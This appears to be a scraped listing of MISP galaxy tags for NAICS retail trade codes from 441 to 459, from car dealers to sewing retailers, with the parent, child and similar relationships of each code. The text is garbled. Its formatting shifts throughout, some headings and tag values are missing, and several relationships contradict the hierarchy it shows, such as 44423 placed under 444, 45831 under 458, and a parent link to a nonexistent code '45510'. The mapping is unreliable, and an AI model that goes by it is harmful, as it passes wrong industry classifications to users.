- child-of: misp-galaxy:naics="4411" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="44111" with estimative-language:likelihood-probability="likely"

Used Car Dealers

The tag is: misp-galaxy:naics="44112"

44112 has relationships with:

- child-of: misp-galaxy:naics="4411" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="441120" with estimative-language:likelihood-probability="likely"

441120 has relationships with:

- child-of: misp-galaxy:naics="4411" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="44112" with estimative-language:likelihood-probability="likely"
4412
Other Motor Vehicle Dealers
The tag is: misp-galaxy:naics="4412"

View relationships graph

4412 has relationships with:

- child-of: misp-galaxy:naics="441" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="44121" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="441210" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="44122" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="441222" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="441227" with estimative-language:likelihood-probability="likely"

44121
Recreational Vehicle Dealers
The tag is: misp-galaxy:naics="44121"

View relationships graph

44121 has relationships with:

- child-of: misp-galaxy:naics="441" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="441210" with estimative-language:likelihood-probability="likely"

441210
Recreational Vehicle Dealers
The tag is: misp-galaxy:naics="441210"

View relationships graph

441210 has relationships with:

- child-of: misp-galaxy:naics="441" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="44121" with estimative-language:likelihood-probability="likely"

44122
Motorcycle, Boat, and Other Motor Vehicle Dealers
The tag is: misp-galaxy:naics="44122"

View relationships graph

44122 has relationships with:

• child-of: misp-galaxy:naics="4412" with estimative-language:likelihood-probability="likely"

**441222**

Boat Dealers

The tag is: misp-galaxy:naics="441222"

View relationships graph

441222 has relationships with:

• child-of: misp-galaxy:naics="4412" with estimative-language:likelihood-probability="likely"

**441227**

Motorcycle, ATV, and All Other Motor Vehicle Dealers

The tag is: misp-galaxy:naics="441227"

View relationships graph

441227 has relationships with:

• child-of: misp-galaxy:naics="4412" with estimative-language:likelihood-probability="likely"

**4413**

Automotive Parts, Accessories, and Tire Retailers

The tag is: misp-galaxy:naics="4413"

View relationships graph

4413 has relationships with:

• child-of: misp-galaxy:naics="441" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="44133" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="441330" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="44134" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="441340" with estimative-language:likelihood-probability="likely"
44133
Automotive Parts and Accessories Retailers
The tag is: `misp-galaxy:naics="44133"`

View relationships graph

44133 has relationships with:

- child-of: `misp-galaxy:naics="4413"` with estimative-language:likelihood-probability="likely"
- similar: `misp-galaxy:naics="441330"` with estimative-language:likelihood-probability="likely"

441330
Automotive Parts and Accessories Retailers
The tag is: `misp-galaxy:naics="441330"`

View relationships graph

441330 has relationships with:

- child-of: `misp-galaxy:naics="4413"` with estimative-language:likelihood-probability="likely"
- similar: `misp-galaxy:naics="44133"` with estimative-language:likelihood-probability="likely"

44134
Tire Dealers
The tag is: `misp-galaxy:naics="44134"`

View relationships graph

44134 has relationships with:

- child-of: `misp-galaxy:naics="4413"` with estimative-language:likelihood-probability="likely"
- similar: `misp-galaxy:naics="441340"` with estimative-language:likelihood-probability="likely"

441340
Tire Dealers
The tag is: `misp-galaxy:naics="441340"`

View relationships graph

441340 has relationships with:
444

Building Material and Garden Equipment and Supplies Dealers

The tag is: *misp-galaxy:naics="444"

View relationships graph

444 has relationships with:

- parent-of: *misp-galaxy:naics="4441"* with estimative-language:likelihood-probability="likely"
- parent-of: *misp-galaxy:naics="4442"* with estimative-language:likelihood-probability="likely"

4441

Building Material and Supplies Dealers

The tag is: *misp-galaxy:naics="4441"

View relationships graph

4441 has relationships with:

- parent-of: *misp-galaxy:naics="44411"* with estimative-language:likelihood-probability="likely"
- parent-of: *misp-galaxy:naics="444110"* with estimative-language:likelihood-probability="likely"
- parent-of: *misp-galaxy:naics="44412"* with estimative-language:likelihood-probability="likely"
- parent-of: *misp-galaxy:naics="444120"* with estimative-language:likelihood-probability="likely"
- parent-of: *misp-galaxy:naics="44414"* with estimative-language:likelihood-probability="likely"
- parent-of: *misp-galaxy:naics="444140"* with estimative-language:likelihood-probability="likely"
- parent-of: *misp-galaxy:naics="44418"* with estimative-language:likelihood-probability="likely"
- parent-of: *misp-galaxy:naics="444180"* with estimative-language:likelihood-probability="likely"

44411

Home Centers

The tag is: *misp-galaxy:naics="44411"

View relationships graph

44411 has relationships with:
• child-of: misp-galaxy:naics="4441" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:naics="444110" with estimative-language:likelihood-probability="likely"

### 444110

Home Centers

The tag is: *misp-galaxy:naics="444110"

View relationships graph

444110 has relationships with:

• child-of: misp-galaxy:naics="4441" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:naics="44411" with estimative-language:likelihood-probability="likely"

### 44412

Paint and Wallpaper Retailers

The tag is: *misp-galaxy:naics="44412"

View relationships graph

44412 has relationships with:

• child-of: misp-galaxy:naics="4441" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:naics="444120" with estimative-language:likelihood-probability="likely"

### 444120

Paint and Wallpaper Retailers

The tag is: *misp-galaxy:naics="444120"

View relationships graph

444120 has relationships with:

• child-of: misp-galaxy:naics="4441" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:naics="44412" with estimative-language:likelihood-probability="likely"

### 44414

Hardware Retailers

The tag is: *misp-galaxy:naics="44414"
44414 has relationships with:

- child-of: misp-galaxy:naics="4441" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="444140" with estimative-language:likelihood-probability="likely"

**444140**

Hardware Retailers

The tag is: misp-galaxy:naics="444140"

444140 has relationships with:

- child-of: misp-galaxy:naics="4441" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="44414" with estimative-language:likelihood-probability="likely"

**44418**

Other Building Material Dealers

The tag is: misp-galaxy:naics="44418"

44418 has relationships with:

- child-of: misp-galaxy:naics="4441" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="444180" with estimative-language:likelihood-probability="likely"

**444180**

Other Building Material Dealers

The tag is: misp-galaxy:naics="444180"

444180 has relationships with:

- child-of: misp-galaxy:naics="4441" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="44418" with estimative-language:likelihood-probability="likely"
4442
Lawn and Garden Equipment and Supplies Retailers
The tag is: `misp-galaxy:naics="4442"`

View relationships graph

4442 has relationships with:

- child-of: `misp-galaxy:naics="444"` with estimative-language:likelihood-probability="likely"
- parent-of: `misp-galaxy:naics="44423"` with estimative-language:likelihood-probability="likely"
- parent-of: `misp-galaxy:naics="444230"` with estimative-language:likelihood-probability="likely"
- parent-of: `misp-galaxy:naics="44424"` with estimative-language:likelihood-probability="likely"
- parent-of: `misp-galaxy:naics="444240"` with estimative-language:likelihood-probability="likely"

44423
Outdoor Power Equipment Retailers
The tag is: `misp-galaxy:naics="44423"`

View relationships graph

44423 has relationships with:

- child-of: `misp-galaxy:naics="444"` with estimative-language:likelihood-probability="likely"
- similar: `misp-galaxy:naics="444230"` with estimative-language:likelihood-probability="likely"

444230
Outdoor Power Equipment Retailers
The tag is: `misp-galaxy:naics="444230"`

View relationships graph

444230 has relationships with:

- child-of: `misp-galaxy:naics="444"` with estimative-language:likelihood-probability="likely"
- similar: `misp-galaxy:naics="44423"` with estimative-language:likelihood-probability="likely"

44424
Nursery, Garden Center, and Farm Supply Retailers
The tag is: `misp-galaxy:naics="44424"`
44424 has relationships with:

- child-of: misp-galaxy:naics="4442" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="444240" with estimative-language:likelihood-probability="likely"

**444240**

Nursery, Garden Center, and Farm Supply Retailers

The tag is: *misp-galaxy:naics="444240"*

444240 has relationships with:

- child-of: misp-galaxy:naics="4442" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="44424" with estimative-language:likelihood-probability="likely"

**445**

Food and Beverage Retailers

The tag is: *misp-galaxy:naics="445"*

445 has relationships with:

- parent-of: misp-galaxy:naics="4451" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="4452" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="4453" with estimative-language:likelihood-probability="likely"

**4451**

Grocery and Convenience Retailers

The tag is: *misp-galaxy:naics="4451"*

4451 has relationships with:

- parent-of: misp-galaxy:naics="44511" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="445110" with estimative-language:likelihood-probability="likely"
44511
Supermarkets and Other Grocery Retailers (except Convenience Retailers)
The tag is: *misp-galaxy:naics*="44511"

View relationships graph

44511 has relationships with:

• child-of: *misp-galaxy:naics*="4451" with estimative-language:likelihood-probability="likely"
• similar: *misp-galaxy:naics*="445110" with estimative-language:likelihood-probability="likely"

445110
Supermarkets and Other Grocery Retailers (except Convenience Retailers)
The tag is: *misp-galaxy:naics*="445110"

View relationships graph

445110 has relationships with:

• child-of: *misp-galaxy:naics*="4451" with estimative-language:likelihood-probability="likely"
• similar: *misp-galaxy:naics*="44511" with estimative-language:likelihood-probability="likely"

44513
Convenience Retailers and Vending Machine Operators
The tag is: *misp-galaxy:naics*="44513"

View relationships graph

44513 has relationships with:

• child-of: *misp-galaxy:naics*="4451" with estimative-language:likelihood-probability="likely"

445131
Convenience Retailers
The tag is: *misp-galaxy:naics*="445131"
View relationships graph

445131 has relationships with:

- child-of: misp-galaxy:naics="4451" with estimative-language:likelihood-probability="likely"

445132

Vending Machine Operators

The tag is: misp-galaxy:naics="445132"

View relationships graph

445132 has relationships with:

- child-of: misp-galaxy:naics="4451" with estimative-language:likelihood-probability="likely"

4452

Specialty Food Retailers

The tag is: misp-galaxy:naics="4452"

View relationships graph

4452 has relationships with:

- parent-of: misp-galaxy:naics="44523" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="445230" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="44524" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="445240" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="44525" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="44529" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="445291" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="445292" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="445298" with estimative-language:likelihood-probability="likely"

44523

Fruit and Vegetable Retailers

The tag is: misp-galaxy:naics="44523"
44523 has relationships with:

- child-of: misp-galaxy:naics="4452" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="445230" with estimative-language:likelihood-probability="likely"

**445230**

Fruit and Vegetable Retailers

The tag is: misp-galaxy:naics="445230"

445230 has relationships with:

- child-of: misp-galaxy:naics="4452" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="44523" with estimative-language:likelihood-probability="likely"

**44524**

Meat Retailers

The tag is: misp-galaxy:naics="44524"

44524 has relationships with:

- child-of: misp-galaxy:naics="4452" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="445240" with estimative-language:likelihood-probability="likely"

**445240**

Meat Retailers

The tag is: misp-galaxy:naics="445240"

445240 has relationships with:

- child-of: misp-galaxy:naics="4452" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="44524" with estimative-language:likelihood-probability="likely"
**44525**

Fish and Seafood Retailers

The tag is: *misp-galaxy:naics="44525"*

View relationships graph

44525 has relationships with:

- child-of: *misp-galaxy:naics="4452"* with estimative-language:likelihood-probability="likely"
- similar: *misp-galaxy:naics="445250"* with estimative-language:likelihood-probability="likely"

**445250**

Fish and Seafood Retailers

The tag is: *misp-galaxy:naics="445250"*

View relationships graph

445250 has relationships with:

- child-of: *misp-galaxy:naics="4452"* with estimative-language:likelihood-probability="likely"
- similar: *misp-galaxy:naics="44525"* with estimative-language:likelihood-probability="likely"

**44529**

Other Specialty Food Retailers

The tag is: *misp-galaxy:naics="44529"*

View relationships graph

44529 has relationships with:

- child-of: *misp-galaxy:naics="4452"* with estimative-language:likelihood-probability="likely"

**445291**

Baked Goods Retailers

The tag is: *misp-galaxy:naics="445291"*

View relationships graph

445291 has relationships with:

- child-of: *misp-galaxy:naics="4452"* with estimative-language:likelihood-probability="likely"
445292
Confectionery and Nut Retailers
The tag is: misp-galaxy:naics="445292"

View relationships graph

445292 has relationships with:
- child-of: misp-galaxy:naics="4452" with estimative-language:likelihood-probability="likely"

445298
All Other Specialty Food Retailers
The tag is: misp-galaxy:naics="445298"

View relationships graph

445298 has relationships with:
- child-of: misp-galaxy:naics="4452" with estimative-language:likelihood-probability="likely"

4453
Beer, Wine, and Liquor Retailers
The tag is: misp-galaxy:naics="4453"

View relationships graph

4453 has relationships with:
- parent-of: misp-galaxy:naics="44532" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="445320" with estimative-language:likelihood-probability="likely"

44532
Beer, Wine, and Liquor Retailers
The tag is: misp-galaxy:naics="44532"

View relationships graph

44532 has relationships with:
- child-of: misp-galaxy:naics="4453" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:naics="445320" with estimative-language:likelihood-probability="likely"

445320
Beer, Wine, and Liquor Retailers
The tag is: misp-galaxy:naics="445320"
View relationships graph
445320 has relationships with:
  • child-of: misp-galaxy:naics="4453" with estimative-language:likelihood-probability="likely"
  • similar: misp-galaxy:naics="44532" with estimative-language:likelihood-probability="likely"

449
Furniture, Home Furnishings, Electronics, and Appliance Retailers
The tag is: misp-galaxy:naics="449"
View relationships graph
449 has relationships with:
  • parent-of: misp-galaxy:naics="4491" with estimative-language:likelihood-probability="likely"
  • parent-of: misp-galaxy:naics="4492" with estimative-language:likelihood-probability="likely"

4491
Furniture and Home Furnishings Retailers
The tag is: misp-galaxy:naics="4491"
View relationships graph
4491 has relationships with:
  • child-of: misp-galaxy:naics="449" with estimative-language:likelihood-probability="likely"
  • parent-of: misp-galaxy:naics="44911" with estimative-language:likelihood-probability="likely"
  • parent-of: misp-galaxy:naics="449110" with estimative-language:likelihood-probability="likely"
  • parent-of: misp-galaxy:naics="44912" with estimative-language:likelihood-probability="likely"
  • parent-of: misp-galaxy:naics="449121" with estimative-language:likelihood-probability="likely"
  • parent-of: misp-galaxy:naics="449122" with estimative-language:likelihood-probability="likely"
  • parent-of: misp-galaxy:naics="449129" with estimative-language:likelihood-probability="likely"
**44911**
Furniture Retailers
The tag is: misp-galaxy:naics="44911"

View relationships graph

44911 has relationships with:
- child-of: misp-galaxy:naics="4491" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="449110" with estimative-language:likelihood-probability="likely"

**449110**
Furniture Retailers
The tag is: misp-galaxy:naics="449110"

View relationships graph

449110 has relationships with:
- child-of: misp-galaxy:naics="4491" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="44911" with estimative-language:likelihood-probability="likely"

**44912**
Home Furnishings Retailers
The tag is: misp-galaxy:naics="44912"

View relationships graph

44912 has relationships with:
- child-of: misp-galaxy:naics="4491" with estimative-language:likelihood-probability="likely"

**449121**
Floor Covering Retailers
The tag is: misp-galaxy:naics="449121"

View relationships graph

449121 has relationships with:
- child-of: misp-galaxy:naics="4491" with estimative-language:likelihood-probability="likely"
449122

Window Treatment Retailers

The tag is: misp-galaxy:naics="449122"

View relationships graph

449122 has relationships with:

- child-of: misp-galaxy:naics="4491" with estimative-language:likelihood-probability="likely"

449129

All Other Home Furnishings Retailers

The tag is: misp-galaxy:naics="449129"

View relationships graph

449129 has relationships with:

- child-of: misp-galaxy:naics="4491" with estimative-language:likelihood-probability="likely"

4492

Electronics and Appliance Retailers

The tag is: misp-galaxy:naics="4492"

View relationships graph

4492 has relationships with:

- child-of: misp-galaxy:naics="449" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="44921" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="449210" with estimative-language:likelihood-probability="likely"

44921

Electronics and Appliance Retailers

The tag is: misp-galaxy:naics="44921"

View relationships graph

44921 has relationships with:

- child-of: misp-galaxy:naics="4492" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:naics="449210" with estimative-language:likelihood-probability="likely"

### 449210

Electronics and Appliance Retailers

The tag is: *misp-galaxy:naics="449210"*

[View relationships graph]

449210 has relationships with:

• child-of: misp-galaxy:naics="4492" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:naics="44921" with estimative-language:likelihood-probability="likely"

### 455

General Merchandise Retailers

The tag is: *misp-galaxy:naics="455"*

[View relationships graph]

455 has relationships with:

• parent-of: misp-galaxy:naics="4551" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="4552" with estimative-language:likelihood-probability="likely"

### 4551

Department Stores

The tag is: *misp-galaxy:naics="4551"*

[View relationships graph]

4551 has relationships with:

• child-of: misp-galaxy:naics="455" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="45511" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="45510" with estimative-language:likelihood-probability="likely"

### 45511

Department Stores

The tag is: *misp-galaxy:naics="45511"*
45511 has relationships with:

- child-of: misp-galaxy:naics="4551" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="455110" with estimative-language:likelihood-probability="likely"

455110

Department Stores

The tag is: misp-galaxy:naics="455110"

4552 has relationships with:

- child-of: misp-galaxy:naics="455" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="45521" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="455211" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="455219" with estimative-language:likelihood-probability="likely"

45521

Warehouse Clubs, Supercenters, and Other General Merchandise Retailers

The tag is: misp-galaxy:naics="45521"
455211
Warehouse Clubs and Supercenters
The tag is: *misp-galaxy:naics*="455211"

View relationships graph

455211 has relationships with:

- child-of: *misp-galaxy:naics*="4552" with estimative-language:likelihood-probability="likely"

455219
All Other General Merchandise Retailers
The tag is: *misp-galaxy:naics*="455219"

View relationships graph

455219 has relationships with:

- child-of: *misp-galaxy:naics*="4552" with estimative-language:likelihood-probability="likely"

456
Health and Personal Care Retailers
The tag is: *misp-galaxy:naics*="456"

View relationships graph

456 has relationships with:

- parent-of: *misp-galaxy:naics*="4561" with estimative-language:likelihood-probability="likely"

4561
Health and Personal Care Retailers
The tag is: *misp-galaxy:naics*="4561"

View relationships graph

4561 has relationships with:

- child-of: *misp-galaxy:naics*="456" with estimative-language:likelihood-probability="likely"
- parent-of: *misp-galaxy:naics*="45611" with estimative-language:likelihood-probability="likely"
- parent-of: *misp-galaxy:naics*="456110" with estimative-language:likelihood-probability="likely"
45611

Pharmacies and Drug Retailers

The tag is: 

View relationships graph

45611 has relationships with:

• child-of: misp-galaxy:naics="4561" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:naics="456110" with estimative-language:likelihood-probability="likely"

456110

Pharmacies and Drug Retailers

The tag is: 

View relationships graph

456110 has relationships with:

• child-of: misp-galaxy:naics="4561" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:naics="45611" with estimative-language:likelihood-probability="likely"

45612

Cosmetics, Beauty Supplies, and Perfume Retailers

The tag is: 

View relationships graph

45612 has relationships with:

• child-of: misp-galaxy:naics="4561" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:naics="456120" with estimative-language:likelihood-probability="likely"
456120
Cosmetics, Beauty Supplies, and Perfume Retailers
The tag is: misp-galaxy:naics="456120"
View relationships graph
456120 has relationships with:
  • child-of: misp-galaxy:naics="4561" with estimative-language:likelihood-probability="likely"
  • similar: misp-galaxy:naics="45612" with estimative-language:likelihood-probability="likely"

45613
Optical Goods Retailers
The tag is: misp-galaxy:naics="45613"
View relationships graph
45613 has relationships with:
  • child-of: misp-galaxy:naics="4561" with estimative-language:likelihood-probability="likely"
  • similar: misp-galaxy:naics="456130" with estimative-language:likelihood-probability="likely"

456130
Optical Goods Retailers
The tag is: misp-galaxy:naics="456130"
View relationships graph
456130 has relationships with:
  • child-of: misp-galaxy:naics="4561" with estimative-language:likelihood-probability="likely"
  • similar: misp-galaxy:naics="45613" with estimative-language:likelihood-probability="likely"

45619
Other Health and Personal Care Retailers
The tag is: misp-galaxy:naics="45619"
View relationships graph
45619 has relationships with:
456191
Food (Health) Supplement Retailers
The tag is: `misp-galaxy:naics="456191"`
View relationships graph
456191 has relationships with:
- child-of: `misp-galaxy:naics="4561"`

456199
All Other Health and Personal Care Retailers
The tag is: `misp-galaxy:naics="456199"`
View relationships graph
456199 has relationships with:
- child-of: `misp-galaxy:naics="4561"`

457
Gasoline Stations and Fuel Dealers
The tag is: `misp-galaxy:naics="457"`
View relationships graph
457 has relationships with:
- parent-of: `misp-galaxy:naics="4571"`
- parent-of: `misp-galaxy:naics="4572"`

4571
Gasoline Stations
The tag is: `misp-galaxy:naics="4571"`
View relationships graph
4571 has relationships with:
- child-of: `misp-galaxy:naics="457"`
• parent-of: misp-galaxy:naics="45711" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="457110" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="45712" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="457120" with estimative-language:likelihood-probability="likely"

45711
Gasoline Stations with Convenience Stores
The tag is: misp-galaxy:naics="45711"

View relationships graph

45711 has relationships with:

• child-of: misp-galaxy:naics="4571" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:naics="457110" with estimative-language:likelihood-probability="likely"

457110
Gasoline Stations with Convenience Stores
The tag is: misp-galaxy:naics="457110"

View relationships graph

457110 has relationships with:

• child-of: misp-galaxy:naics="4571" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:naics="45711" with estimative-language:likelihood-probability="likely"

45712
Other Gasoline Stations
The tag is: misp-galaxy:naics="45712"

View relationships graph

45712 has relationships with:

• child-of: misp-galaxy:naics="4571" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:naics="45711" with estimative-language:likelihood-probability="likely"

457120
Other Gasoline Stations
The tag is: `misp-galaxy:naics="457120"`

View relationships graph

457120 has relationships with:

- child-of: `misp-galaxy:naics="4571"` with estimative-language:likelihood-probability="likely"
- similar: `misp-galaxy:naics="45712"` with estimative-language:likelihood-probability="likely"

**4572**

Fuel Dealers

The tag is: `misp-galaxy:naics="4572"`

View relationships graph

4572 has relationships with:

- child-of: `misp-galaxy:naics="457"` with estimative-language:likelihood-probability="likely"
- parent-of: `misp-galaxy:naics="45721"` with estimative-language:likelihood-probability="likely"
- parent-of: `misp-galaxy:naics="457210"` with estimative-language:likelihood-probability="likely"

**45721**

Fuel Dealers

The tag is: `misp-galaxy:naics="45721"`

View relationships graph

45721 has relationships with:

- child-of: `misp-galaxy:naics="4572"` with estimative-language:likelihood-probability="likely"
- similar: `misp-galaxy:naics="457210"` with estimative-language:likelihood-probability="likely"

**457210**

Fuel Dealers

The tag is: `misp-galaxy:naics="457210"`

View relationships graph

457210 has relationships with:

- child-of: `misp-galaxy:naics="4572"` with estimative-language:likelihood-probability="likely"
- similar: `misp-galaxy:naics="45721"` with estimative-language:likelihood-probability="likely"
458
Clothing, Clothing Accessories, Shoe, and Jewelry Retailers
The tag is: misp-galaxy:naics="458"
View relationships graph
458 has relationships with:
  • parent-of: misp-galaxy:naics="4581" with estimative-language:likelihood-probability="likely"
  • parent-of: misp-galaxy:naics="4582" with estimative-language:likelihood-probability="likely"
  • parent-of: misp-galaxy:naics="4583" with estimative-language:likelihood-probability="likely"

4581
Clothing and Clothing Accessories Retailers
The tag is: misp-galaxy:naics="4581"
View relationships graph
4581 has relationships with:
  • child-of: misp-galaxy:naics="458" with estimative-language:likelihood-probability="likely"
  • parent-of: misp-galaxy:naics="45811" with estimative-language:likelihood-probability="likely"
  • parent-of: misp-galaxy:naics="458110" with estimative-language:likelihood-probability="likely"

45811
Clothing and Clothing Accessories Retailers
The tag is: misp-galaxy:naics="45811"
View relationships graph
45811 has relationships with:
  • child-of: misp-galaxy:naics="4581" with estimative-language:likelihood-probability="likely"
  • similar: misp-galaxy:naics="458110" with estimative-language:likelihood-probability="likely"

458110
Clothing and Clothing Accessories Retailers
The tag is: misp-galaxy:naics="458110"
View relationships graph
458110 has relationships with:

- child-of: misp-galaxy:naics="4581" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="45811" with estimative-language:likelihood-probability="likely"

4582

Shoe Retailers

The tag is: misp-galaxy:naics="4582"

View relationships graph

4582 has relationships with:

- child-of: misp-galaxy:naics="458" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="45821" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="458210" with estimative-language:likelihood-probability="likely"

45821

Shoe Retailers

The tag is: misp-galaxy:naics="45821"

View relationships graph

45821 has relationships with:

- child-of: misp-galaxy:naics="4582" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="458210" with estimative-language:likelihood-probability="likely"

458210

Shoe Retailers

The tag is: misp-galaxy:naics="458210"

View relationships graph

458210 has relationships with:

- child-of: misp-galaxy:naics="4582" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="45821" with estimative-language:likelihood-probability="likely"
4583
Jewelry, Luggage, and Leather Goods Retailers
The tag is: misp-galaxy:naics="4583"
View relationships graph
4583 has relationships with:
  • child-of: misp-galaxy:naics="458" with estimative-language:likelihood-probability="likely"
  • parent-of: misp-galaxy:naics="45831" with estimative-language:likelihood-probability="likely"
  • parent-of: misp-galaxy:naics="458310" with estimative-language:likelihood-probability="likely"
  • parent-of: misp-galaxy:naics="45832" with estimative-language:likelihood-probability="likely"
  • parent-of: misp-galaxy:naics="458320" with estimative-language:likelihood-probability="likely"

45831
Jewelry Retailers
The tag is: misp-galaxy:naics="45831"
View relationships graph
45831 has relationships with:
  • child-of: misp-galaxy:naics="458" with estimative-language:likelihood-probability="likely"
  • similar: misp-galaxy:naics="458310" with estimative-language:likelihood-probability="likely"

458310
Jewelry Retailers
The tag is: misp-galaxy:naics="458310"
View relationships graph
458310 has relationships with:
  • child-of: misp-galaxy:naics="458" with estimative-language:likelihood-probability="likely"
  • similar: misp-galaxy:naics="45831" with estimative-language:likelihood-probability="likely"

45832
Luggage and Leather Goods Retailers
The tag is: misp-galaxy:naics="45832"
45832 has relationships with:

- child-of misp-galaxy:naics="4583" with estimative-language:likelihood-probability="likely"
- similar misp-galaxy:naics="458320" with estimative-language:likelihood-probability="likely"

458320

Luggage and Leather Goods Retailers

The tag is: misp-galaxy:naics="458320"

459 has relationships with:

- parent-of misp-galaxy:naics="4591" with estimative-language:likelihood-probability="likely"
- parent-of misp-galaxy:naics="4592" with estimative-language:likelihood-probability="likely"
- parent-of misp-galaxy:naics="4593" with estimative-language:likelihood-probability="likely"
- parent-of misp-galaxy:naics="4594" with estimative-language:likelihood-probability="likely"
- parent-of misp-galaxy:naics="4595" with estimative-language:likelihood-probability="likely"
- parent-of misp-galaxy:naics="4599" with estimative-language:likelihood-probability="likely"

4591

Sporting Goods, Hobby, and Musical Instrument Retailers

The tag is: misp-galaxy:naics="4591"
• child-of: misp-galaxy:naics="459" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="45911" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="459110" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="45912" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="459120" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="45913" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="459130" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="45914" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="459140" with estimative-language:likelihood-probability="likely"

45911
Sporting Goods Retailers
The tag is: misp-galaxy:naics="45911"

View relationships graph

45911 has relationships with:
• child-of: misp-galaxy:naics="4591" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:naics="459110" with estimative-language:likelihood-probability="likely"

459110
Sporting Goods Retailers
The tag is: misp-galaxy:naics="459110"

View relationships graph

459110 has relationships with:
• child-of: misp-galaxy:naics="4591" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:naics="45911" with estimative-language:likelihood-probability="likely"

45912
Hobby, Toy, and Game Retailers
The tag is: misp-galaxy:naics="45912"

View relationships graph

45912 has relationships with:
• child-of: misp-galaxy:naics="4591" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:naics="459120" with estimative-language:likelihood-probability="likely"

459120

Hobby, Toy, and Game Retailers

The tag is: misp-galaxy:naics="459120"

View relationships graph

459120 has relationships with:

• child-of: misp-galaxy:naics="4591" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:naics="45912" with estimative-language:likelihood-probability="likely"

45913

Sewing, Needlework, and Piece Goods Retailers

The tag is: misp-galaxy:naics="45913"

View relationships graph

45913 has relationships with:

• child-of: misp-galaxy:naics="4591" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:naics="459130" with estimative-language:likelihood-probability="likely"

459130

Sewing, Needlework, and Piece Goods Retailers

The tag is: misp-galaxy:naics="459130"

View relationships graph

459130 has relationships with:

• child-of: misp-galaxy:naics="4591" with estimative-language:likelihood-probability="likely"
